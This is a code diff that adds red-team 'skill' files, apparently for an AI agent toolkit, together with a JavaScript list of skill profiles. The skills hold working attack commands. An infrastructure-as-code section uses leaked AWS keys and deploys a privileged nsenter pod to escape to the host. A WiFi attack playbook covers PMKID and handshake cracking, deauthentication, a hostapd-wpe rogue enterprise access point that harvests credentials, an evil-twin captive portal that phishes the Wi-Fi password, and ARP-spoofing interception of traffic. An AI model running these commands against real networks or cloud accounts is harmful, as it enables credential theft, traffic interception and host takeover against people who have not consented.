|
33
|
+
python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
|
|
34
|
+
|
|
35
|
+
# CloudFormation
|
|
36
|
+
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+AWSTemplateFormatVersion' \
|
|
37
|
+
-H 'Authorization: token '\$TOKEN | \
|
|
38
|
+
python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
|
|
39
|
+
|
|
40
|
+
# K8s manifests
|
|
41
|
+
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+apiVersion+kind:+Deployment+path:k8s' \
|
|
42
|
+
-H 'Authorization: token '\$TOKEN | \
|
|
43
|
+
python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
|
|
44
|
+
"
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## Phase 2: checkov — Comprehensive IaC Scanner
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
docker exec rtexit-kali bash -c "
|
|
53
|
+
# Clone target IaC repo
|
|
54
|
+
git clone https://github.com/target/infrastructure /tmp/infra/
|
|
55
|
+
|
|
56
|
+
# Scan Terraform
|
|
57
|
+
checkov -d /tmp/infra/terraform/ \
|
|
58
|
+
--framework terraform \
|
|
59
|
+
--output cli \
|
|
60
|
+
--compact \
|
|
61
|
+
2>/dev/null
|
|
62
|
+
|
|
63
|
+
# Scan Kubernetes manifests
|
|
64
|
+
checkov -d /tmp/infra/k8s/ \
|
|
65
|
+
--framework kubernetes \
|
|
66
|
+
--output json > /tmp/k8s_findings.json
|
|
67
|
+
|
|
68
|
+
# Scan CloudFormation
|
|
69
|
+
checkov -d /tmp/infra/cloudformation/ \
|
|
70
|
+
--framework cloudformation \
|
|
71
|
+
--output cli
|
|
72
|
+
|
|
73
|
+
# Scan everything
|
|
74
|
+
checkov -d /tmp/infra/ --output json > /tmp/checkov_all.json
|
|
75
|
+
|
|
76
|
+
# Extract HIGH severity findings
|
|
77
|
+
cat /tmp/checkov_all.json | python3 -c \"
|
|
78
|
+
import json, sys
|
|
79
|
+
r = json.load(sys.stdin)
|
|
80
|
+
for result in r.get('results', {}).get('failed_checks', []):
|
|
81
|
+
print(f'[FAIL] {result[\\\"check_id\\\"]}: {result[\\\"check\\\"][\\\"name\\\"]}')
|
|
82
|
+
print(f' File: {result[\\\"repo_file_path\\\"]}:{result[\\\"file_line_range\\\"]}')
|
|
83
|
+
\"
|
|
84
|
+
"
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## Phase 3: Hardcoded Secrets in IaC
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
docker exec rtexit-kali bash -c "
|
|
93
|
+
IaC_DIR=/tmp/infra
|
|
94
|
+
|
|
95
|
+
# gitleaks on IaC repo
|
|
96
|
+
gitleaks detect --source \$IaC_DIR --no-banner --report-format json \
|
|
97
|
+
--report-path /tmp/iac_secrets.json 2>/dev/null
|
|
98
|
+
|
|
99
|
+
# trufflehog on cloned repo
|
|
100
|
+
trufflehog git file://\${IaC_DIR} --json 2>/dev/null | head -50
|
|
101
|
+
|
|
102
|
+
# Manual grep patterns
|
|
103
|
+
echo '=== AWS Keys in IaC ==='
|
|
104
|
+
grep -r 'AKIA[0-9A-Z]\{16\}' \$IaC_DIR --include='*.tf' --include='*.yaml' --include='*.yml' --include='*.json'
|
|
105
|
+
|
|
106
|
+
echo '=== Hardcoded passwords ==='
|
|
107
|
+
grep -rE '(password|secret|token)\s*=\s*\"[^\"]{6,}\"' \$IaC_DIR \
|
|
108
|
+
--include='*.tf' --include='*.yaml' --include='*.yml'
|
|
109
|
+
|
|
110
|
+
echo '=== Database connection strings ==='
|
|
111
|
+
grep -rE 'jdbc:|mongodb\+srv:|postgresql://|mysql://' \$IaC_DIR \
|
|
112
|
+
--include='*.tf' --include='*.yaml' --include='*.yml' --include='*.env'
|
|
113
|
+
|
|
114
|
+
echo '=== Private keys ==='
|
|
115
|
+
grep -r 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC' \$IaC_DIR -l
|
|
116
|
+
"
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Phase 4: Terraform — IAM & Security Issues
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
docker exec rtexit-kali bash -c "
|
|
125
|
+
IaC_DIR=/tmp/infra/terraform
|
|
126
|
+
|
|
127
|
+
echo '=== Overprivileged IAM policies ==='
|
|
128
|
+
grep -r '\"*\"\|Action.*\*\|Resource.*\*' \$IaC_DIR --include='*.tf' -A2
|
|
129
|
+
|
|
130
|
+
echo '=== Public S3 buckets ==='
|
|
131
|
+
grep -r 'acl.*=.*\"public\|block_public_acls.*false\|ignore_public_acls.*false' \$IaC_DIR --include='*.tf' -B2
|
|
132
|
+
|
|
133
|
+
echo '=== Unencrypted storage ==='
|
|
134
|
+
grep -r 'encrypted.*=.*false\|encryption.*=.*\"none\"' \$IaC_DIR --include='*.tf' -B2
|
|
135
|
+
|
|
136
|
+
echo '=== Security groups wide open ==='
|
|
137
|
+
grep -r 'cidr_blocks.*0\.0\.0\.0/0\|ipv6_cidr.*::/0' \$IaC_DIR --include='*.tf' -B5
|
|
138
|
+
|
|
139
|
+
echo '=== S3 versioning disabled ==='
|
|
140
|
+
grep -r 'versioning' \$IaC_DIR --include='*.tf' -A3 | grep -v 'enabled.*true'
|
|
141
|
+
|
|
142
|
+
echo '=== CloudTrail disabled ==='
|
|
143
|
+
grep -r 'enable_logging.*false\|is_multi_region_trail.*false' \$IaC_DIR --include='*.tf' -B2
|
|
144
|
+
"
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Phase 5: Kubernetes — RBAC & Pod Security
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
docker exec rtexit-kali bash -c "
|
|
153
|
+
K8S_DIR=/tmp/infra/k8s
|
|
154
|
+
|
|
155
|
+
echo '=== Privileged containers ==='
|
|
156
|
+
grep -r 'privileged: true' \$K8S_DIR --include='*.yaml' --include='*.yml' -B5
|
|
157
|
+
|
|
158
|
+
echo '=== hostNetwork / hostPID / hostIPC ==='
|
|
159
|
+
grep -r 'hostNetwork: true\|hostPID: true\|hostIPC: true' \$K8S_DIR --include='*.yaml' -B5
|
|
160
|
+
|
|
161
|
+
echo '=== runAsRoot ==='
|
|
162
|
+
grep -r 'runAsUser: 0\|runAsNonRoot: false' \$K8S_DIR --include='*.yaml' -B5
|
|
163
|
+
|
|
164
|
+
echo '=== AllowPrivilegeEscalation ==='
|
|
165
|
+
grep -r 'allowPrivilegeEscalation: true' \$K8S_DIR --include='*.yaml' -B5
|
|
166
|
+
|
|
167
|
+
echo '=== Hardcoded secrets in env vars ==='
|
|
168
|
+
grep -rE 'value: \"[A-Za-z0-9+/]{20,}\"' \$K8S_DIR --include='*.yaml' -B3
|
|
169
|
+
|
|
170
|
+
echo '=== RBAC * permissions ==='
|
|
171
|
+
grep -r 'verbs:.*\\\"\*\\\"\\|resources:.*\\\"\*\\\"' \$K8S_DIR --include='*.yaml' -B5
|
|
172
|
+
|
|
173
|
+
echo '=== Exposed NodePort/LoadBalancer ==='
|
|
174
|
+
grep -r 'type: NodePort\|type: LoadBalancer' \$K8S_DIR --include='*.yaml' -B10 | grep -E 'name:|type:|port:'
|
|
175
|
+
"
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## Phase 6: trivy — IaC + Container Vulnerability Scan
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
docker exec rtexit-kali bash -c "
|
|
184
|
+
# Scan IaC directory
|
|
185
|
+
trivy config /tmp/infra/ \
|
|
186
|
+
--format table \
|
|
187
|
+
--exit-code 0 \
|
|
188
|
+
--severity HIGH,CRITICAL
|
|
189
|
+
|
|
190
|
+
# Scan Dockerfile
|
|
191
|
+
trivy config /tmp/infra/Dockerfile
|
|
192
|
+
|
|
193
|
+
# Scan Helm chart
|
|
194
|
+
trivy config /tmp/infra/helm/
|
|
195
|
+
|
|
196
|
+
# Scan K8s manifests
|
|
197
|
+
trivy k8s --report summary /tmp/infra/k8s/
|
|
198
|
+
"
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Phase 7: Exploit Found Misconfigs
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
docker exec rtexit-kali bash -c "
|
|
207
|
+
# Example: Found public S3 bucket in Terraform
|
|
208
|
+
# → check if bucket is actually public
|
|
209
|
+
s3scanner scan --bucket target-company-backups
|
|
210
|
+
|
|
211
|
+
# Found AWS credentials in .tf file
|
|
212
|
+
# → use them
|
|
213
|
+
aws configure set aws_access_key_id FOUND_KEY
|
|
214
|
+
aws configure set aws_secret_access_key FOUND_SECRET
|
|
215
|
+
aws sts get-caller-identity
|
|
216
|
+
aws iam list-attached-user-policies --user-name \$(aws iam get-user | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"User\"][\"UserName\"])')
|
|
217
|
+
|
|
218
|
+
# Found K8s config with privileged pod
|
|
219
|
+
# → deploy escape pod
|
|
220
|
+
kubectl apply -f - << 'EOF'
|
|
221
|
+
apiVersion: v1
|
|
222
|
+
kind: Pod
|
|
223
|
+
metadata:
|
|
224
|
+
name: escape
|
|
225
|
+
spec:
|
|
226
|
+
hostPID: true
|
|
227
|
+
hostNetwork: true
|
|
228
|
+
containers:
|
|
229
|
+
- name: escape
|
|
230
|
+
image: alpine
|
|
231
|
+
command: ['nsenter', '--target', '1', '--mount', '--uts', '--ipc', '--net', '--pid', '--', 'bash']
|
|
232
|
+
securityContext:
|
|
233
|
+
privileged: true
|
|
234
|
+
EOF
|
|
235
|
+
"
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## Related Skills
|
|
241
|
+
- `rt-exploit-cloud-aws` — exploit found AWS misconfigs
|
|
242
|
+
- `rt-kubernetes` — exploit K8s RBAC issues
|
|
243
|
+
- `rt-github-recon` — find IaC repos first
|
|
244
|
+
- `rt-supply-chain` — IaC pipeline security
|
|
245
|
+
- `rt-exploit-containers` — container escape after finding privileged pods
|
|
246
|
+
|
|
247
|
+
## References
|
|
248
|
+
- https://www.checkov.io/
|
|
249
|
+
- https://aquasecurity.github.io/trivy/
|
|
250
|
+
- https://attack.mitre.org/techniques/T1580/ — Cloud Infrastructure Discovery
|
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-wifi-attacks
|
|
3
|
+
description: "Advanced WiFi penetration testing — WPA2 PMKID capture (clientless), Evil Twin / WPA Enterprise downgrade (hostapd-wpe), KRACK attack, WPS brute force, deauth attacks, rogue AP with credential capture, enterprise 802.1X PEAP downgrade. Tools: wifite2, aircrack-ng, hcxdumptool, hcxtools, hostapd-wpe, bettercap. For physical red team engagements requiring wireless access."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
> ⚠️ **Requires:** WiFi adapter with monitor mode (e.g., Alfa AWUS036ACH) passed to Docker via `--device` or USB passthrough
|
|
8
|
+
|
|
9
|
+
# rt-wifi-attacks — Professional WiFi Penetration Testing
|
|
10
|
+
|
|
11
|
+
## Overview
|
|
12
|
+
|
|
13
|
+
WiFi attacks remain highly effective for physical red team engagements — bypass perimeter security by capturing credentials on the parking lot, or setup a rogue AP at client offices to capture enterprise creds.
|
|
14
|
+
|
|
15
|
+
**When to use:**
|
|
16
|
+
- Physical red team engagement requiring network access
|
|
17
|
+
- Testing wireless security of corporate WiFi
|
|
18
|
+
- Demonstrating WPA2-Enterprise credential theft
|
|
19
|
+
- Testing guest WiFi isolation
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Setup — WiFi Adapter in Docker
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
# Check available WiFi interfaces on host
|
|
27
|
+
ip link show | grep wlan
|
|
28
|
+
iwconfig
|
|
29
|
+
|
|
30
|
+
# Pass adapter to Docker
|
|
31
|
+
docker run -it --privileged \
|
|
32
|
+
--net=host \
|
|
33
|
+
--device=/dev/bus/usb \
|
|
34
|
+
rtexit/kali:v3.0
|
|
35
|
+
|
|
36
|
+
# Or with specific interface
|
|
37
|
+
docker exec rtexit-kali bash -c "
|
|
38
|
+
airmon-ng start wlan0
|
|
39
|
+
iwconfig wlan0mon
|
|
40
|
+
"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Phase 1: Survey & Reconnaissance
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
docker exec rtexit-kali bash -c "
|
|
49
|
+
# Enable monitor mode
|
|
50
|
+
airmon-ng check kill
|
|
51
|
+
airmon-ng start wlan0
|
|
52
|
+
|
|
53
|
+
# Scan all networks
|
|
54
|
+
airodump-ng wlan0mon
|
|
55
|
+
|
|
56
|
+
# Capture specific BSSID (2.4GHz + 5GHz)
|
|
57
|
+
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon
|
|
58
|
+
|
|
59
|
+
# Also use bettercap for passive scan
|
|
60
|
+
bettercap -iface wlan0mon -eval 'wifi.recon on; sleep 30; wifi.show'
|
|
61
|
+
"
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
## Phase 2: WPA2 PMKID Attack (No Clients Needed)
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
docker exec rtexit-kali bash -c "
|
|
70
|
+
# PMKID attack — capture handshake without deauth, no clients needed
|
|
71
|
+
# Step 1: Capture PMKID with hcxdumptool
|
|
72
|
+
hcxdumptool -i wlan0mon \
|
|
73
|
+
--enable_status=1 \
|
|
74
|
+
-o /tmp/pmkid_capture.pcapng \
|
|
75
|
+
--filtermode=2 \
|
|
76
|
+
--filterlist_ap=/tmp/target_bssids.txt &
|
|
77
|
+
sleep 60
|
|
78
|
+
kill %1
|
|
79
|
+
|
|
80
|
+
# Step 2: Convert to hashcat format
|
|
81
|
+
hcxpcapngtool -o /tmp/pmkid.hash /tmp/pmkid_capture.pcapng
|
|
82
|
+
|
|
83
|
+
# Step 3: Crack with hashcat (mode 22000 = WPA2)
|
|
84
|
+
hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
|
|
85
|
+
--force --status
|
|
86
|
+
|
|
87
|
+
# Step 4: Rule-based attack
|
|
88
|
+
hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
|
|
89
|
+
-r /opt/hashcat/rules/best64.rule --force
|
|
90
|
+
"
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Phase 3: WPA2 4-Way Handshake (Traditional)
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
docker exec rtexit-kali bash -c "
|
|
99
|
+
TARGET_BSSID=AA:BB:CC:DD:EE:FF
|
|
100
|
+
TARGET_CHANNEL=6
|
|
101
|
+
|
|
102
|
+
# Step 1: Start capture
|
|
103
|
+
airodump-ng -c \$TARGET_CHANNEL --bssid \$TARGET_BSSID -w /tmp/handshake wlan0mon &
|
|
104
|
+
|
|
105
|
+
# Step 2: Deauth a client to force handshake
|
|
106
|
+
aireplay-ng --deauth 10 -a \$TARGET_BSSID wlan0mon
|
|
107
|
+
sleep 5
|
|
108
|
+
|
|
109
|
+
# Step 3: Verify capture has handshake
|
|
110
|
+
aircrack-ng /tmp/handshake*.cap | grep 'handshake'
|
|
111
|
+
|
|
112
|
+
# Step 4: Convert + crack
|
|
113
|
+
hcxpcapngtool -o /tmp/handshake.hash /tmp/handshake*.cap
|
|
114
|
+
hashcat -a 0 -m 22000 /tmp/handshake.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --force
|
|
115
|
+
|
|
116
|
+
# Step 5: Wordlist generation from SSID (CUPP + cewl)
|
|
117
|
+
cupp -i # interactive — enter target org info
|
|
118
|
+
cewl https://target.com -m 8 -d 2 > /tmp/target_words.txt
|
|
119
|
+
hashcat -a 0 -m 22000 /tmp/handshake.hash /tmp/target_words.txt --force
|
|
120
|
+
"
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 4: WPA2-Enterprise PEAP Downgrade (EAP Harvest)
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Capture domain\username + NTLM hash from enterprise WiFi clients
|
|
129
|
+
# Uses hostapd-wpe to intercept MSCHAPv2 challenge-response
|
|
130
|
+
|
|
131
|
+
docker exec rtexit-kali bash -c "
|
|
132
|
+
# Check if target uses WPA2-Enterprise
|
|
133
|
+
airodump-ng wlan0mon | grep 'WPA2.*EAP\|MGT'
|
|
134
|
+
|
|
135
|
+
# Set up rogue Enterprise AP
|
|
136
|
+
# 1. Create hostapd-wpe config
|
|
137
|
+
cat > /tmp/hostapd-wpe.conf << 'EOF'
|
|
138
|
+
interface=wlan0
|
|
139
|
+
driver=nl80211
|
|
140
|
+
ssid=CORPORATE-WIFI
|
|
141
|
+
channel=6
|
|
142
|
+
hw_mode=g
|
|
143
|
+
ieee8021x=1
|
|
144
|
+
eap_server=1
|
|
145
|
+
eapol_key_index_workaround=0
|
|
146
|
+
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
|
|
147
|
+
ca_cert=/etc/hostapd-wpe/certs/ca.pem
|
|
148
|
+
server_cert=/etc/hostapd-wpe/certs/server.pem
|
|
149
|
+
private_key=/etc/hostapd-wpe/certs/server.key
|
|
150
|
+
private_key_passwd=whatever
|
|
151
|
+
dh_file=/etc/hostapd-wpe/certs/dh
|
|
152
|
+
auth_algs=3
|
|
153
|
+
wpa=2
|
|
154
|
+
wpa_key_mgmt=WPA-EAP
|
|
155
|
+
wpa_pairwise=CCMP TKIP
|
|
156
|
+
rsn_pairwise=CCMP
|
|
157
|
+
EOF
|
|
158
|
+
|
|
159
|
+
# 2. Launch rogue AP + deauth clients from real AP
|
|
160
|
+
hostapd-wpe /tmp/hostapd-wpe.conf &
|
|
161
|
+
|
|
162
|
+
# Deauth from real Enterprise AP
|
|
163
|
+
aireplay-ng --deauth 5 -a REAL_AP_BSSID wlan0mon
|
|
164
|
+
|
|
165
|
+
# Captured creds appear in /var/log/hostapd-wpe.log
|
|
166
|
+
tail -f /var/log/hostapd-wpe.log | grep -i 'username\|password\|response'
|
|
167
|
+
"
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
docker exec rtexit-kali bash -c "
|
|
172
|
+
# Crack captured NTLM challenge-response
|
|
173
|
+
# Format: username:domain:challenge:response
|
|
174
|
+
# Use asleap or hashcat mode 5500 (MSCHAPv2)
|
|
175
|
+
|
|
176
|
+
# asleap method
|
|
177
|
+
asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
178
|
+
|
|
179
|
+
# hashcat method (mode 5500 = NTLMv1, mode 5600 = NTLMv2)
|
|
180
|
+
echo 'USER:DOMAIN:CHALLENGE:RESPONSE' | hashcat -a 0 -m 5600 - rockyou.txt --force
|
|
181
|
+
"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 5: Evil Twin — WPA2 Personal Credential Phishing
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
docker exec rtexit-kali bash -c "
|
|
190
|
+
# Create fake AP with captive portal asking for WiFi password
|
|
191
|
+
TARGET_SSID='CorpGuest'
|
|
192
|
+
|
|
193
|
+
# Method: airbase-ng + DNSmasq + Apache captive portal
|
|
194
|
+
airbase-ng -e '\$TARGET_SSID' -c 6 wlan0mon &
|
|
195
|
+
|
|
196
|
+
# Configure DHCP
|
|
197
|
+
cat > /tmp/dnsmasq.conf << 'EOF'
|
|
198
|
+
interface=at0
|
|
199
|
+
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
|
|
200
|
+
dhcp-option=3,10.0.0.1
|
|
201
|
+
dhcp-option=6,10.0.0.1
|
|
202
|
+
server=8.8.8.8
|
|
203
|
+
log-queries
|
|
204
|
+
log-dhcp
|
|
205
|
+
address=/#/10.0.0.1
|
|
206
|
+
EOF
|
|
207
|
+
|
|
208
|
+
ifconfig at0 10.0.0.1 netmask 255.255.255.0
|
|
209
|
+
dnsmasq -C /tmp/dnsmasq.conf
|
|
210
|
+
|
|
211
|
+
# Captive portal page to harvest PSK
|
|
212
|
+
# Serve a fake 'WiFi login' page on Apache
|
|
213
|
+
# When victim enters PSK → test against handshake capture → if match: real password
|
|
214
|
+
"
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
## Phase 6: wifite2 — Automated All-in-One
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
docker exec rtexit-kali bash -c "
|
|
223
|
+
# wifite2 automates everything: capture + deauth + crack
|
|
224
|
+
|
|
225
|
+
# Attack all visible networks
|
|
226
|
+
wifite --wpa --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
227
|
+
|
|
228
|
+
# Attack specific target
|
|
229
|
+
wifite -e 'CORP-WIFI' --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
230
|
+
|
|
231
|
+
# WPS attack on vulnerable APs
|
|
232
|
+
wifite --wps-only --no-wpa
|
|
233
|
+
"
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Phase 7: Post-Compromise — Traffic Analysis
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
docker exec rtexit-kali bash -c "
|
|
242
|
+
# After cracking WPA2 key — capture all traffic
|
|
243
|
+
# Connect to network then:
|
|
244
|
+
|
|
245
|
+
# ARP poisoning → MITM all traffic
|
|
246
|
+
bettercap -iface wlan0 -eval '
|
|
247
|
+
net.probe on
|
|
248
|
+
sleep 5
|
|
249
|
+
net.show
|
|
250
|
+
set arp.spoof.targets 192.168.1.0/24
|
|
251
|
+
arp.spoof on
|
|
252
|
+
net.sniff on
|
|
253
|
+
'
|
|
254
|
+
|
|
255
|
+
# Capture credentials from HTTP
|
|
256
|
+
tcpdump -i wlan0 -w /tmp/wifi_capture.pcap &
|
|
257
|
+
# After capture:
|
|
258
|
+
# PCredz -f /tmp/wifi_capture.pcap
|
|
259
|
+
"
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## Related Skills
|
|
265
|
+
- `rt-exploit-network` — post-WiFi network exploitation
|
|
266
|
+
- `rt-ssl-mitm` — intercept HTTPS after WiFi access
|
|
267
|
+
- `rt-exploit-physical` — physical access scenarios
|
|
268
|
+
- `rt-redteam-infra` — set up C2 after WiFi access
|
|
269
|
+
|
|
270
|
+
## References
|
|
271
|
+
- https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
|
|
272
|
+
- https://github.com/ZerBea/hcxdumptool
|
|
273
|
+
- https://attack.mitre.org/techniques/T1465/ — Rogue Wireless Access Point
|
|
@@ -99,6 +99,7 @@ const PROFILES = {
|
|
|
99
99
|
'rt-ai-llm-security',
|
|
100
100
|
'rt-crypto-attacks',
|
|
101
101
|
'rt-exploit-fuzzing',
|
|
102
|
+
'rt-exploit-graphql',
|
|
102
103
|
],
|
|
103
104
|
},
|
|
104
105
|
|
|
@@ -204,13 +205,14 @@ const PROFILES = {
|
|
|
204
205
|
|
|
205
206
|
specialist: {
|
|
206
207
|
label: 'Specialist',
|
|
207
|
-
description: 'SCADA/ICS, IoT, hardware, physical, social engineering, wireless',
|
|
208
|
+
description: 'SCADA/ICS, IoT, hardware, physical, social engineering, wireless, WiFi',
|
|
208
209
|
skills: [
|
|
209
210
|
'rt-exploit-scada',
|
|
210
211
|
'rt-exploit-iot',
|
|
211
212
|
'rt-hardware-hacking',
|
|
212
213
|
'rt-exploit-wireless',
|
|
213
214
|
'rt-wireless-rogue-ap',
|
|
215
|
+
'rt-wifi-attacks',
|
|
214
216
|
'rt-exploit-physical',
|
|
215
217
|
'rt-exploit-phishing',
|
|
216
218
|
'rt-exploit-vishing',
|
|
@@ -222,6 +224,36 @@ const PROFILES = {
|
|
|
222
224
|
'rt-steganography',
|
|
223
225
|
],
|
|
224
226
|
},
|
|
227
|
+
|
|
228
|
+
recon: {
|
|
229
|
+
label: 'Recon & OSINT',
|
|
230
|
+
description: 'OSINT, GitHub recon, subdomain enum, attack surface mapping',
|
|
231
|
+
skills: [
|
|
232
|
+
'rt-active-recon',
|
|
233
|
+
'rt-osint',
|
|
234
|
+
'rt-shodan-recon',
|
|
235
|
+
'rt-subdomain-enum',
|
|
236
|
+
'rt-subdomain-takeover',
|
|
237
|
+
'rt-wordlist-generation',
|
|
238
|
+
'rt-attack-surface-map',
|
|
239
|
+
'rt-github-recon',
|
|
240
|
+
'rt-js-analysis',
|
|
241
|
+
'rt-password-spray',
|
|
242
|
+
],
|
|
243
|
+
},
|
|
244
|
+
|
|
245
|
+
devops: {
|
|
246
|
+
label: 'DevOps / IaC',
|
|
247
|
+
description: 'IaC misconfigs, Terraform, K8s YAML, CloudFormation, supply chain',
|
|
248
|
+
skills: [
|
|
249
|
+
'rt-iac-misconfig',
|
|
250
|
+
'rt-supply-chain',
|
|
251
|
+
'rt-kubernetes',
|
|
252
|
+
'rt-exploit-containers',
|
|
253
|
+
'rt-serverless',
|
|
254
|
+
'rt-github-recon',
|
|
255
|
+
],
|
|
256
|
+
},
|
|
225
257
|
};
|
|
226
258
|
|
|
227
259
|
/**
|